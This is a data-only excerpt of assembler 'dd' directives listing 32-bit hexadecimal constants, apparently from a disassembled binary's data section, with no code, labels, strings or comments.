		dd 1631E30h, 0A3234C12h, 2F2A6DDEh, 0A4A6B074h,	29D901A7h
		dd 7D1FEDB5h, 0A9A1809Eh, 0B0A09DDAh, 0CD034B01h, 0B81F6D24h
		dd 138802F3h, 0E5AA5C95h, 55258ED0h, 0A7D1E66Eh, 601B443Ch
		dd 0F8FB8B0Ch, 0C24604E5h, 0CC5096ADh, 0A4000263h, 84AA753Dh
		dd 14D3551h, 0CBE41783h, 205BAE18h, 862C0FCAh, 0BF671A11h
		dd 5A18D801h, 362A0E61h, 96040482h, 2F259529h, 0B41584E2h
		dd 2987F21Bh, 3E29198Dh, 0E354F171h, 582DC059h,	0A87922B8h
		dd 9D0BF30Bh, 975ED8CDh, 0FC62059Ah, 61506054h,	73F0163h
		dd 9E92CC89h, 0C28B31D7h, 25E57129h, 3CE009CDh,	295177Ah
		dd 30FCFD48h, 44F4800Fh, 0BD09F860h, 0CA245BCDh, 72F0E1FAh
		dd 6FF8132Fh, 0A23A009Ch, 90FC5D66h, 0B5891637h, 0BC0BC4A5h
		dd 82635915h, 0EA699531h, 0EBF55CC1h, 0AE4090CDh, 4ADFA6Dh
		dd 99BD6EE7h, 0C9F5BCA0h, 0E9C08980h, 693DAF0h,	0B258B6DEh
		dd 0F755301Ch, 0BE28000h, 0B3E57BB0h, 1951089h,	0A1C85E17h
		dd 0F3733FABh, 265D4000h, 46973EBFh, 94046C7Ch,	245BD01h
		dd 899E8C57h, 4692C5FAh, 7E20505Eh, 8229B8h, 2E41457Fh
		dd 0D8CA2C5Fh, 2A036179h, 13229E77h, 0FAE428F7h, 2434269Ch
		dd 0BD00DE81h, 0CB8060E8h, 6F890F3Dh, 90771F11h, 6B45F3Ch
		dd 0CC391400h, 0D485A922h, 615E023Bh, 29999D2Bh, 574C2555h
		dd 0BB1EF00Ah, 50725B52h, 492603BEh, 8E084DB3h,	0F5608608h
		dd 0CA136A66h, 0CA76117h, 0CFAC2C49h, 7942099Fh, 9EB64E07h
		dd 96B2C565h, 0FCB4E3C0h, 53603750h, 5B8008C8h,	9661C88Ah
		dd 15BD258Bh, 0DC56F40Ah, 0C9381546h, 89148C4Eh, 6AB58D4Ah
		dd 23766B3Eh, 4DD70416h, 0C9DFBC1Dh, 44CC79FCh,	0DD7C5946h
		dd 4BD7AC2Fh, 0F6BBAB84h, 2B6F36Ah, 0F0FDF46Ch,	7C06044h
		dd 40B10671h, 5A22CF02h, 0C67BE161h, 5895E7Ch, 1BF9BA7Bh
		dd 3A3B3B18h, 553C0425h, 80C172C7h, 8D111EDDh, 12446C99h
		dd 0B4F055E9h, 0C18B31F8h, 2F223D1Ch, 0F182B274h, 958DCF9h
		dd 6960ACE0h, 0E99E5160h, 0CBC9E440h, 0E1C1000Fh, 0B6452290h
		dd 7202B2DFh, 861F7020h, 1CBC243h, 3E25C284h, 330EDB3Ch
		dd 0AE7339BDh, 42F11A88h, 0C4281016h, 2F15BF02h, 425E49D6h
		dd 0C055ED27h, 0D245C6F1h, 0DC398402h, 5694E918h, 46501797h
		dd 33028820h, 2861602Eh, 0C11EE420h, 0C236B8B6h, 87B797FFh
		dd 82A7F20Fh, 5E33A6E5h, 1946DC7Fh, 0BF55027Ah,	29202857h
		dd 0D34913E2h, 0BCC22D6Ah, 21E62DF0h, 0B25AB2A4h, 9E007698h
		dd 3C96B4EFh, 4EE1E29h,	5C45F0E4h, 964813Ah, 0FF93B1Ch
		dd 80AE092h, 91DD294Bh,	8B6A2Bh, 4F1C5093h, 5FFF7720h
		dd 8B89DBD1h, 9E1A1874h, 6E9903D3h, 0CEC7917Fh,	893CC080h
		dd 5FB854Bh, 81605B60h,	2334120h, 51A85E61h, 1DC80FA1h
		dd 1F406DC7h, 9BFA773h,	0D3B03349h, 0D0B16A9h, 8D011F40h
		dd 6A830D62h, 0E08D6D02h, 0BB6ECE6Dh, 0B11C2002h, 7A8D0F14h
		dd 40398CBh, 8A507741h,	0ED7194FCh, 9F7B8B5h, 290F435Dh
		dd 2C453B82h, 511A3A5Dh, 0F740005Fh, 0CD8E1285h, 92E67F3Eh
		dd 0CBF20DCAh, 3AA32C9h, 8C05DEBBh, 8571C8C0h, 1D1619ACh
		dd 0AF96FFDh, 0C8D7180Ah, 2CC8BD12h, 36A25DFh, 6D95CFE6h
		dd 20CCC034h, 87010E0Ah, 1830D41Ch, 162F60DDh, 0FDE80415h
		dd 90610132h, 0C93067B3h, 0AC203CBFh, 0F76E4Bh,	6787AF36h
		dd 981DCA3Bh, 30412FBEh, 6056EA2h, 1027B09h, 0E81DDBFh
		dd 7D9B2E13h, 6FC11688h, 0A24050BDh, 4EC9B5CFh,	0C8219A05h
		dd 7885C019h, 472848FFh, 0B71E9181h, 1496A1Dh, 9740FA9Dh
		dd 18112284h, 9DF6C624h, 14120031h, 710D30ACh, 6A8EB043h
		dd 0F2D74A20h, 0B1EC0002h, 8C085FEAh, 430703D8h, 984F2455h
		dd 8770E6A2h, 8D1ABh, 71E45DB7h, 47E894BBh, 0EFD21C4Bh
		dd 0BD8920DBh, 5C821F05h, 273728EDh, 315D03FDh,	0EF100E40h
		dd 9E005CC9h, 2594A8F9h, 163B98FCh, 17A66BA5h, 291E035Dh
		dd 12FC4DBDh, 4BBFFCE4h, 4F9C4DAh, 0BA2DB1F7h, 0C5826127h
		dd 8EF65E2Fh, 9D758D31h, 0E9B6B306h, 30C7F83h, 2B05C1BDh
		dd 88084E85h, 79BE5D53h, 0AB218396h, 1F2F5B51h,	0A59504FBh
		dd 2B23510h, 0B97EE100h, 6F154FB7h, 5B4B5404h, 9E98BFAh
		dd 4EE93340h, 6096893Fh, 0FF698D63h, 11F87103h,	1F60582Dh
		dd 0A55439F3h, 0E8FE2913h, 0C4B5F480h, 0DD01ADh, 2A9E2F4Eh
		dd 0EE264AA0h, 0C2B0BC24h, 0B7763D20h, 8504309Dh, 7996843Bh
		dd 3A3625D4h, 0BB819C79h, 7138C8E8h, 0E080B68Dh, 826E7E58h
		dd 0D3862F0Fh, 5DF682DCh, 73770C73h, 181751EAh,	0F47102E9h
		dd 4D8D89BBh, 5282B374h, 0D6114FB9h, 8809F447h,	9DDC133h
		dd 959B729Bh, 0ED02DC44h, 5D0C4D34h, 17461Ah, 6EC387DBh
		dd 1B141801h, 2DE1D404h, 7BBB5B2Ah, 4BEC021Fh, 7C952933h
		dd 96FC993Eh, 0A2092F31h, 0C5C77DB8h, 0F4601BC4h, 1205E2B1h
		dd 8C395415h, 494B95C1h, 25BA209Ch, 0FBBDFDh, 77B368BFh
		dd 0AA1303B1h, 63A3CE62h, 5ABC8ED1h, 444AAB2Dh,	4EB000FAh
		dd 0F586F9A4h, 39059396h, 9065B101h, 53D2B997h,	3B71755Fh
		dd 9AAFFC13h, 0A526C038h, 0EB28E8h, 1ED3D5E9h, 7DDB8090h
		dd 11AD359Dh, 0F6708A14h, 4E2E350Bh, 0A518C462h, 0A3F25224h
		dd 819D107Ch, 3A66F905h, 0F1E602B7h, 0DC2BD6h, 725B0330h
		dd 2776D22Fh, 61256198h, 0C43ED926h, 0CB81403Dh, 0E5771110h
		dd 91D81360h, 0D578A576h, 7E9C0E4Eh, 639EF0Fh, 8E45027h
		dd 0F710E50Ch, 23CE55h,	0C29E97C6h, 0D0CF805Bh,	52E1FF31h
		dd 383A03C5h, 0F3CCF65Ch, 970D6E89h, 0FE0B1167h, 896C03h
		dd 2BC52750h, 138F9699h, 448A324Eh, 2A2EAD28h, 0B085C19Dh
		dd 0E2884AB8h, 0EEB7804Ch, 0FE42B903h, 2A0A9DC8h, 0B000DECEh
		dd 0C727222Ah, 5C077F34h, 5D3F4049h, 92284CEh, 3D2F8B9h
		dd 80012D45h, 0CB2B2E59h, 38A64E1Ah, 0CB7060A1h, 17F95411h
		dd 0EC5D5476h, 20149061h, 989713EDh, 49BD0B06h,	80038B2Dh
		dd 5250AFE7h, 0BF36045Bh, 0D6C79808h, 0BBF7B40Ch, 7D976509h
		dd 9AEDDD5Bh, 34F42CE0h, 64DEA20Ah, 23CA1C4h, 2EFA8B11h
		dd 0FC3A3529h, 51C880D5h, 129A55B1h, 187715Ah, 0E6C640BDh
		dd 0D4C32F2Fh, 997D96D9h, 0B4A3803Bh, 0E95736BAh, 28B5B38h
		dd 0DF917FBFh, 99F26422h, 0FB9D8047h, 8B2FE106h, 8DEB9C00h
		dd 5882BD01h, 75B52E29h, 0B95BA5EEh, 6A181559h,	1FCF404h
		dd 42D78D95h, 0A989A96Eh, 0A42E7954h, 0A175274Eh, 0B4E95FE7h
		dd 4BB72B24h, 3AF9CDE0h, 7B25606Eh, 9D0400DBh, 2B3905E5h
		dd 1E81B1DAh, 0F8A5CAF3h, 0C8C926E3h, 42F579A1h, 25C8F0Fh
		dd 702F962h, 0FDDBB989h, 1967C70h, 0A5AD6054h, 2184E62Dh
		dd 0FBD582Fh, 8264875Fh, 962DDFB8h, 0F5007FE4h,	0F651A705h
		dd 1C42FEEAh, 0C0FF7DE7h, 7430A050h, 432EA2D9h,	0B60BF22Ah
		dd 4880F8BAh, 0FBC46989h, 8D6EAE96h, 0E6161C00h, 95DDFEBFh
		dd 6A1C613h, 0C55690AFh, 3C016822h, 25F8893Bh, 0CCC0EA98h
		dd 0AD81017Bh, 1CB3F9BCh, 45B9425Fh, 0B557F94Ah, 801A91C7h
		dd 67125478h, 0EE7739Ch, 0C1875568h, 12808129h,	3E5D7CAAh
		dd 41B58909h, 0A5CC7B0Dh, 0C02FB682h, 19110656h, 0E2106025h
		dd 0FF01D1ACh, 21D3A6EBh, 388083BFh, 725F940Ah,	0F04B8B6Bh
		dd 920BCAD5h, 760929C9h, 1A46D6B1h, 9F890800h, 5BAB71B6h
		dd 15BB5200h, 5F2621E9h
		dd 6A2AAD61h, 0D453010Eh, 20B6C2D9h, 8D9C916Dh,	89BBC525h
		dd 9871FE8Ah, 0A7EA3A44h, 0C785A018h, 0D6620222h, 8E99B38Ah
		dd 64018AC6h, 11AD14EAh, 20F1619Bh, 0DBFC206Eh,	9D9791D7h
		dd 7B4DD2A4h, 0D6A94164h, 3207DAB8h, 8485D9F1h,	544AEA62h
		dd 6A1940D0h, 0A001B5B8h, 4FB926EFh, 842F20E7h,	454EC522h
		dd 0CA1BF1C8h, 9D834B84h, 0F67BA5D5h, 0FBFF6100h, 6E458A38h
		dd 2BC47302h, 5D08259Dh, 9E61731Ch, 0D9B53161h,	9A2AC535h
		dd 0C01AC825h, 637ECBD2h, 564EB212h, 0A64B9FF7h, 3708A0D9h
		dd 0FB0F7F07h, 1BB78114h, 1D303BADh, 4AD59D0Bh,	4BC7F70Ch
		dd 821665B0h, 0DCE9825Ch, 0C702D4E1h, 13995BBFh, 0ACAC907h
		dd 66575000h, 8825F0FCh, 0E995615Fh, 0C87D4E43h, 563E81FAh
		dd 0F825B061h, 602D5AE6h, 0DF8968E8h, 8F67009Bh, 7A86D45Ah
		dd 43B8CE59h, 64B07F9Eh, 9704D18Dh, 100DCBC9h, 0A19A02h
		dd 0A97D4192h, 0CE424F6Eh, 8B98152Ah, 60444F97h, 0A1AEEA46h
		dd 0F70ADE76h, 0C6702A0Eh, 7422BE09h, 0A1CDE977h, 8BD1AB42h
		dd 5A75EBAAh, 0B89B940Ch, 0F781C081h, 5B60DC67h, 0BF95D819h
		dd 0BBB55F07h, 0E24DF71h, 290441BCh, 0BC083D9Dh, 0B7A6921Fh
		dd 0BF58D6E2h, 35DC324Bh, 129A97F5h, 826FD0FEh,	22AB5BDh
		dd 9E51CFB7h, 201818D9h, 52532809h, 0AC7850A4h,	54A79824h
		dd 208D3A88h, 5F5A2475h, 2622E88h, 0D6206886h, 0C5C011B8h
		dd 0EC25568Ch, 1217EC29h, 565019B7h, 0E4538962h, 1C0354A2h
		dd 90560913h, 1E1B7C1h,	464912B8h, 0F82CC301h, 569B302Eh
		dd 0E134BD03h, 84AC9528h, 0B2B56A2h, 85990AC4h,	5269360h
		dd 9D6B01EAh, 0F98C3707h, 0F7122A5Fh, 36A0D88h,	323F68DBh
		dd 55E84A64h, 0F013FC3Dh, 0AD0CB5ADh, 4E7D9831h, 9B2DC48Dh
		dd 0D513DF45h, 0ECBA3F44h, 19AC76B9h, 0FD21028Ch, 0A79B1F1Bh
		dd 14312E41h, 858EAFADh, 0C6DD0F29h, 0C4C2000Bh, 51938E40h
		dd 8A0AA06Ah, 4A72C9DDh, 66A5A648h, 68E497A5h, 0FCADC100h
		dd 53A458C0h, 0B28897EEh, 0E25B92D0h, 4F7C8BB8h, 899B6095h
		dd 0BE090C18h, 73958815h, 526DADD5h, 0F0A96343h, 0BD375DCh
		dd 0B526433Eh, 85956B50h, 0FAAC60CCh, 0E317D883h, 176340F2h
		dd 5804278Ah, 85328Ch, 0C70E4A98h, 0FA8F07E5h, 2F80572Eh
		dd 0B7615E02h, 58EE5C79h, 0E9E4DF80h, 0FFF3AF1Ch, 54B765h
		dd 0E1F626A2h, 0CB04353Fh, 0C18B5C6Bh, 0AC0509Bh, 8C0FCB6Ah
		dd 29190660h, 9733358Dh, 124009BAh, 90810C01h, 0B71CA460h
		dd 267FF2B8h, 0F915C900h, 84DC6535h, 14D10113h,	0B5E88862h
		dd 85AB24D0h, 505B6B0Eh, 0B7906B51h, 1FD38E1Ah,	2F90667h
		dd 0D0CF6A05h, 6FA2DC44h, 0EF020F74h, 0BBADE828h, 0F54FCC50h
		dd 7145D34Ah, 8B01EE64h, 939D499h, 33B87979h, 7807BC27h
		dd 0A3315288h, 0E0ECC380h, 44001BA4h, 25BFF389h, 23D0BB5h
		dd 0D4ECB82h, 6381E9F5h, 60D99924h, 4707F458h, 0D59B258Dh
		dd 32E7C180h, 399409BCh, 0A282104Ch, 0E4CD05C0h, 30D387E1h
		dd 0B6C94F8h, 0BB236411h, 31FDF461h, 0E3AE21EEh, 315EF0D1h
		dd 0C4692C9Eh, 45EFE4B7h, 12D98B7Fh, 0C0B2A8F9h, 88B654ACh
		dd 0FFFC9FFCh, 0C68204DEh, 90B29190h, 0F9BF0FEAh, 9EFDEE95h
		dd 2F00D4DDh, 0B2FFE26Ch, 5F8FAD52h, 20081220h,	0CF195B5h
		dd 76BA0DD0h, 270E4E97h, 0C10B850Fh, 360077E6h,	0E89D123Ah
		dd 201D770h, 2CAAEDA7h,	0EBECD1FFh, 80BBA13Eh, 5B3C8876h
		dd 974BFE85h, 3EFA710h,	0E00483FAh, 5AC74355h, 54125DACh
		dd 0C85CF274h, 9AEA6B6h, 2F79078Dh, 4345EDA5h, 0B8C8074Fh
		dd 505A9B7Ah, 0CC8520AEh, 0AF74B5E1h, 7B8EF800h, 0BB13872Bh
		dd 7A2C0940h, 18225A55h, 0B874FE8Bh, 5AB4E225h,	82379DD3h
		dd 66368E0Eh, 62A8FFCFh, 0F8D86065h, 7DBE55ECh,	25A209DCh
		dd 0BB185DBAh, 7A0046CDh, 0A36E7519h, 1712E7Bh,	0C4DFF833h
		dd 3079A00Fh, 0E9F21804h, 71CE224Bh, 0A722A326h, 7B00F637h
		dd 3EB8ABEh, 6B5C0BA4h,	6064EDBFh, 0C7936400h, 809A4050h
		dd 5F712AF7h, 283795B8h, 2252B709h, 5D1B817Eh, 9DE34D3Bh
		dd 38DD1DEAh, 11B82BBh,	0FE39468Ah, 0F4450697h,	7900F64Eh
		dd 3E140D67h, 9790509Eh, 0BC1F24B7h, 0F5E203D7h, 3202B000h
		dd 1DAD6849h, 0E58AD800h, 0D4193BACh, 0CB2B259Fh, 81826DD3h
		dd 5E30A7F3h, 0DE57C66Bh, 4D099D4Bh, 9F4F795Bh,	83411233h
		dd 6DB22352h, 0FF96A956h, 0BE80D4B3h, 0AC19E3ADh, 0D4980F0Bh
		dd 15B9824Ch, 60484F0Dh, 3EFEAEF1h, 412DF5B8h, 44D7D133h
		dd 0F56040E1h, 0B6CDB58Bh, 0B0610ECFh, 598D3101h, 0B5E93E23h
		dd 0D21BD08h, 45868947h, 57259721h, 0E79B30B8h,	8B9733EEh
		dd 210C0656h, 0F0BDF45Fh, 5CB3971Eh, 5FC5A634h,	25783AF8h
		dd 4CE40A65h, 59953117h, 0BC3E47F5h, 315587Fh, 0C82B12A6h
		dd 66D1E2FCh, 0FECD03A0h, 764C57C3h, 0DCDC8AD9h, 64ECFD6Dh
		dd 0CB8023C0h, 32BD2371h, 855B2BCDh, 0B3894656h, 0F64A7881h
		dd 120ADCDFh, 1036F4F9h, 54BD0188h, 53E9F199h, 0CF098137h
		dd 3E79FB59h, 410B06A6h, 0C5B4742Eh, 4034BB1Dh,	59343B9h
		dd 8904ED19h, 8B4E0125h, 34652FDEh, 73391B0Bh, 61EC7815h
		dd 89290B3Ah, 544C4EA8h, 0D273276Eh, 8D717772h,	709F826h
		dd 0A52D7BFDh, 8740F14Dh, 0FCB833B1h, 8580AD4h,	61F6558Fh
		dd 0F816DAE8h, 6C00E41Ah, 0BF739741h, 4EBD29A5h, 0B9E50455h
		dd 2AEDB18Ah, 0AD81AEDBh, 2FD7A44Ch, 94F11F12h,	702953D2h
		dd 0B5260162h, 73A51905h, 8E38523Eh, 10000C8Ah,	95B34634h
		dd 9719E8FCh, 0E3711692h, 6199DC00h, 79FD76Eh, 0C8933734h
		dd 0BB74152Ah, 0E4D8186Ch, 8331F987h, 30BBACE3h, 8F1FDFE4h
		dd 0A1F246B7h, 0F9022E87h, 0B727A479h, 0C9F680FBh, 75201DC5h
		dd 0B38C3F4Bh, 0FD309BFh, 0B27103AAh, 39D97F7Ah, 48BCF7F8h
		dd 0BD27786Bh, 0EEB35BF2h, 16966525h, 0B2BDE74Dh, 1619DF42h
		dd 650F478Dh, 1B8B81h, 9DA11F41h, 25D573B5h, 0BDC645A5h
		dd 1120BA90h, 0E1FF242Dh, 0AD409C5h, 4142A671h,	0A9A42F04h
		dd 4B493C21h, 0A0A2B704h, 6158BD27h, 1AFB947Bh,	0C9673151h
		dd 0B1597807h, 0E215DC86h, 0C00D1FE1h, 394F2B80h, 397BF305h
		dd 0CF02F5DEh, 60CE21E0h, 52E0C54Dh, 54BD2B53h,	5F964Dh
		dd 0C07020BFh, 51F96073h, 5A08B509h, 98EF7061h,	2895258Ch
		dd 928EF79h, 0BBE0F49Dh, 0F34AA53Dh, 18316D9h, 13E8D6EDh
		dd 9EE697h, 0CFA94BBFh,	1DB58928h, 0FD9B264Bh, 40C01DC8h
		dd 0F421761h, 0ED86A146h, 0F75E8149h, 50517BEBh, 909D9095h
		dd 0A21507h, 68B674A7h,	0FF735770h, 13ACDD09h, 1567C60h
		dd 612122BEh, 62036A5Fh, 0FF90D9C5h, 0C12AB9D1h, 0AAE9BA70h
		dd 979EF8BEh, 630080B7h, 980E95D5h, 0B140318Dh,	2FBA766Ch
		dd 976F1329h, 0F492CD3h, 0E40A8F2Fh, 729B736h, 585AC883h
		dd 0DD320DA7h, 0E4FF1489h, 0A0194BDh, 2317184Ah, 32F897BCh
		dd 0BBB1008Bh, 60C4DFFDh, 0BF04585Fh, 1AD8D7EDh, 0E6973EACh
		dd 318AF0DBh, 0AE6F0B4Fh, 2682868Ch, 0A40C2D05h, 9F85F2DFh
		dd 6FC0F06Fh, 10091A7Bh, 120E7595h, 78569FE9h, 16609313h
		dd 97C02BEFh, 224A2C9Bh, 0D161BE3h, 0D31CED23h,	2B63C8FAh
		dd 0ECC87500h, 5B53A8B7h, 5A83FF5Fh, 61E593E9h,	0D32DBC8Ch
		dd 0C194DABFh, 0B051D9A5h, 4E08C031h, 8A014085h, 27A7D94Bh
		dd 19E2CD42h, 39AE9830h
		dd 8F85F0A7h, 4820890Fh, 0B7801277h, 3EC5E0D3h,	4004005Dh
		dd 0E9116BCEh, 0F4059383h, 5E444C4Dh, 27CD24C1h, 6896100h
		dd 0E65AEC4h, 0F55A0DCAh, 3EB9FDFCh, 0B2B46BD4h, 0E2F682DEh
		dd 23F9FB40h, 29E21CBEh, 0B1A68034h, 0E0D0DE1Ch, 3C77D800h
		dd 9DBFD538h, 5A2F1741h, 3482A05Fh, 0C038245Ch,	9AAACB8Eh
		dd 4E4B00B9h, 0C31DA68Dh, 9297B7BCh, 412E4F1Ah,	0FCB868DEh
		dd 4695DD74h, 0FECEC93Ch, 470B1D78h, 4D22AAFFh,	4A58C018h
		dd 755B0DCEh, 0B1F0FB20h, 24DB2626h, 48021105h,	8D5B0B03h
		dd 2593CC85h, 0D8445350h, 5E099DE0h, 0F410B9D1h, 0DD8A8963h
		dd 11FCF432h, 61AD3D07h, 36A4DB50h, 8B494B7Ah, 0A2FC2CECh
		dd 88526513h, 0E985F1B6h, 0E2B4E350h, 0A1013019h, 0B5A70B7h
		dd 918D2933h, 0BFA89D7Eh, 0B655BE0Fh, 0F2ED890Bh, 8E5B4B14h
		dd 0DA6BE9F1h, 0B6A68004h, 9F71D8FAh, 0A8F86890h, 315DAD00h
		dd 51ECA2B8h, 9B7F4E8Dh, 31A38087h, 2DDAFD86h, 0C2C1B989h
		dd 0ED382E0Ch, 263E8BCAh, 0F705C88Dh, 7AFF0364h, 5B9F02D6h
		dd 5462D5DEh, 0D1FBE2C9h, 54E9C55Ch, 0DD01D4CBh, 9D971BF5h
		dd 58892D9Bh, 2C717F53h, 0F1892FBCh, 0E35F1235h, 2DF24EB9h
		dd 508A8282h, 25A159D5h, 280B0B70h, 663AD776h, 11599127h
		dd 0D7257C13h, 3920DEB1h, 7674E780h, 0A8B9F941h, 55425405h
		dd 846208ADh, 11BA57FCh, 24BEB557h, 20410454h, 0ACA7B969h
		dd 53168C15h, 5F6450EDh, 5BE531EFh, 2975F631h, 0AEAF5B88h
		dd 0E000D41Ch, 5D83F32Dh, 254893B7h, 0EF64F81Bh, 0AF174400h
		dd 5BA2C1DEh, 0EEA30273h, 30E71FD7h, 8269BE5Ch,	32B294Ah
		dd 0E1C406B7h, 0CB9E7F1Ch, 0AAEC2D80h, 0EF0E6D95h, 20600C0Dh
		dd 2ABAF08Bh, 483FE41Ch, 0BD082B61h, 581E0519h,	2526D26Dh
		dd 0EAC2D8BFh, 22126CD4h, 0FB7ECEE7h, 853481DDh, 0D51A975Fh
		dd 0BDD0ADC3h, 14FF0F71h, 0ECB8C8FDh, 85365249h, 55E3E7B3h
		dd 12F76027h, 6D1E8566h, 4962ED27h, 9661020Bh, 0B71C7146h
		dd 0FEA34Ah, 2D9A06C2h,	1993FD5h, 0C8C7CB2h, 2AB3B9F2h
		dd 0AAA7EB83h, 7003D396h, 9E0A0345h, 0F0A20F56h, 0A845517h
		dd 806B2AAEh, 4182A327h, 0A657094Dh, 8662F607h,	0C6257356h
		dd 0B1525011h, 32769F85h, 1011C525h, 0F58B8957h, 0D30202EEh
		dd 0B7A77BBAh, 8A0457FDh, 3E0FEE2Fh, 35F912FBh,	0E804C5B8h
		dd 0F950D648h, 0A29E13AAh, 2E4600F4h, 0F26C1F56h, 525E0D9h
		dd 529341D0h, 0D8AAB0E4h, 0CC5B7225h, 0DBBF25C8h, 0F94AEEC6h
		dd 18B262F6h, 1C4BB30h,	53400D5Bh, 52B1BD0Bh, 0FD5C5FA1h
		dd 0C4696D69h, 0A205BCF6h, 7ABDDD59h, 2855D8ADh, 25F7F5DEh
		dd 0DD730D19h, 0C670EAAAh, 0E129CDB5h, 66890F75h, 0ACF30935h
		dd 6CE2711Ah, 0E91DFF6Eh, 0DE3AF403h, 0C225BC2h, 1B4495A2h
		dd 0F3B7B5C1h, 0F1016809h, 0CA44A705h, 84F7F55Ah, 7936A5Fh
		dd 0CCDB8E98h, 0FA91E8E0h, 0D2BD7201h, 57E4A0C1h, 44409095h
		dd 0AE0E0053h, 30B172FDh, 5B71F0FFh, 5175B4B0h,	0FA9A8282h
		dd 2537F590h, 17F02680h, 5B00DCBh, 509A75ADh, 6223AA29h
		dd 0CA5A405Fh, 7F5E1D1Eh, 0A3F7830Eh, 1CB6C968h, 0B930605Bh
		dd 5056F580h, 2DCB9661h, 637A39E3h, 615D080h, 9BB5080h
		dd 55ACBC28h, 0BD792157h, 0AE49326Dh, 92251030h, 0C33D9DBCh
		dd 2205403h, 0E4C5AD42h, 0E62ABBE5h, 3115B24Eh,	3E32A876h
		dd 125EC4B7h, 30174EEFh, 471F771Eh, 0C0FA0E12h,	810E4AE3h
		dd 8A0198DBh, 3DD1FF04h, 192B810h, 2953C072h, 9F31DD85h
		dd 0E8725B86h, 95B9D21Dh, 0A54B4394h, 19B075A7h, 6E396DDAh
		dd 5695898Bh, 1E60042Bh, 0F5026A01h, 6EF9F990h,	0B0DEB8Ch
		dd 7EF37237h, 906B5CD1h, 38A7F5h, 3B931896h, 0A4D37B16h
		dd 5F28AC62h, 70B15B90h, 0DA0B0D25h, 44EFACF9h,	0BB4B9F18h
		dd 8A1FC4D0h, 0CE0FB207h, 234DE978h, 0BD52FDDCh, 881E99ECh
		dd 17893F84h, 0C2B05C5Fh, 325C0F69h, 95E3D558h,	1F40A3CFh
		dd 171A446h, 4E1CBB29h,	6A515019h, 2CA89012h, 0CDDB5F2Fh
		dd 0A0D78373h, 25C1F646h, 0A573150Ah, 3DD35A5h,	0F8C69AE9h
		dd 2B63C78Ch, 1826E902h, 0CDCBFA56h, 0EA72CB16h, 0CC6CB725h
		dd 0B3601316h, 0D21D130Ch, 185C61BFh, 4077D469h, 4CF2282h
		dd 0E70E2A01h, 0D82BDEB9h, 6AF13FC5h, 0A9074223h, 47942C31h
		dd 0E457A397h, 6A5B62E8h, 0EBB3FF17h, 12390002h, 90B7FD35h
		dd 0CEEE6881h, 612E11B7h, 77012B1Ah, 3BAB0092h,	4D3DECCEh
		dd 2680E0B0h, 8A394F3h,	0E60A23A9h, 9602B570h, 4071E442h
		dd 972EE1C7h, 2FFF1D19h, 53DDDCh, 0AFF509C0h, 9A2D518Ch
		dd 0B7040204h, 2BB85FDDh, 591D5460h, 0C695B9B3h, 11218081h
		dd 0DF3300DEh, 20EAB8A9h, 785882F8h, 8884BBAh, 0AEC008Dh
		dd 46141552h, 0D43CA993h, 45D387EFh, 7009995Dh,	0DE8A253Fh
		dd 0EB8139C0h, 1851F609h, 0C03B7057h, 17B3BC12h, 0D15B8B56h
		dd 901C6B36h, 357C3F29h, 875989A7h, 84E95F05h, 4ED31300h
		dd 0B858B30Ah, 0A543B65Bh, 14FA3F69h, 991230ECh, 0B43E4E4h
		dd 0E93598BDh, 0FA08A95Bh, 333E342Eh, 8D0388Ch,	0D023D2Ch
		dd 2AA296E2h, 44485CBCh, 5D8F2239h, 64120598h, 854F3897h
		dd 410542E5h, 510C8B17h, 2F5329h, 0AABD9910h, 0CF02A91Ch
		dd 3D95FA85h, 0C2645CBCh, 0B5125C5Eh, 299181C3h, 0AF89CDD9h
		dd 5B62C34Ch, 5066E4Ah,	0FC786CCDh, 80B865AFh, 0B96DA02Dh
		dd 5ADDA449h, 16456BEAh, 1C05CBDEh, 90819D9Eh, 0AC04048Dh
		dd 0A3F64B30h, 413DB7E7h, 6E0D9529h, 5AB2CD4h, 0AF26C150h
		dd 1C23B56Eh, 27DD360Eh, 0AB7178B2h, 207EF982h,	0F318F66Ch
		dd 8BB39C0Fh, 0AEC0C0F0h, 7EB7341Fh, 196B0660h,	90ECAB64h
		dd 0A110B931h, 0DB2AD22Bh, 0D83589CEh, 2B2D412Bh, 8160623Dh
		dd 0DE225BCDh, 69D08422h, 11648Ch, 0FB6A5A2Dh, 29392BA5h
		dd 0D0E6F104h, 0A7FF880Dh, 5B82A0D1h, 886C4F93h, 0B8075CDEh
		dd 0CE4F2AA7h, 8CF3D954h, 1C05FA62h, 0D73F3A57h, 1664DC17h
		dd 39BF5760h, 2DD278DCh, 4552888h, 79853124h, 0E38BB827h
		dd 7ABB857Eh, 0B50C124Dh, 112102B1h, 35E882D6h,	800F030Dh
		dd 61712D70h, 91F3B84Ah, 9E3018F2h, 4B13FED9h, 78A68D71h
		dd 39F08069h, 171E70h, 9E5D6819h, 97E25488h, 0C4E1FF2Dh
		dd 87E30085h, 48A94F9Bh, 2EE35B41h, 4014BC28h, 9D102905h
		dd 600125EDh, 0D78A5856h, 0C2282E61h, 38054D16h, 8904D0ECh
		dd 97871FB7h, 720F22A2h, 16A1E198h, 3FB471A9h, 0B2D27BECh
		dd 49E84CDh, 8D295201h,	5F8B3475h, 0DCF6605Ah, 2A09FEE4h
		dd 9DAF708Eh, 0A104F3B7h, 0C7B8628Eh, 81039B4Bh, 0DD9D33ECh
		dd 2C4942Ch, 22E2B930h,	12BF76D1h, 0A30DD320h, 126848ADh
		dd 8CB91B69h, 0F5EF80C0h, 5C27B390h, 0F8991350h, 5E123EAh
		dd 0EF673BA2h, 2A05BEC7h, 1340905Fh, 81C8F031h,	865405FCh
		dd 824108FAh, 0C8ABD96Ch, 0EADBF80Bh, 18AEA78h,	37C0419Fh
		dd 2E30954Fh, 9F607E28h, 70F2D390h, 8C3BD100h, 1A27FFBDh
		dd 0F63C5AE5h, 8060249Ch, 0F79C5760h, 424F241h,	5658FAB0h
		dd 50D1825Eh, 0B900A746h, 9DEB8C09h, 3C7E587h, 0B8D4E4C2h
		dd 0B75A8B6Fh, 168BCC8h, 0B1C439DCh, 0AD8B6A52h, 9F6B10F6h
		dd 2BFE0065h, 40DE0CB8h, 0F3C0D18h, 45FF8E53h, 111B62C1h
		dd 588B915Bh, 0BAB8D52Dh, 0FBD54100h, 9D31081Eh, 0B20B4A01h
		dd 0AC6BD314h, 0ED8D9F00h
		dd 0C55174C8h, 53E7D509h, 0E9ED8260h, 0F8436E10h, 6CAD0171h
		dd 4D0EB058h, 4E83CCCEh, 0E461F531h, 227D6F85h,	75C3EECh
		dd 0D36700F9h, 40E95F57h, 0FEFBD02h, 0E2AD3740h, 2451CF6h
		dd 98C597B5h, 0B2BCBD5Ch, 0A6A28997h, 14E95608h, 0A0F1B68Fh
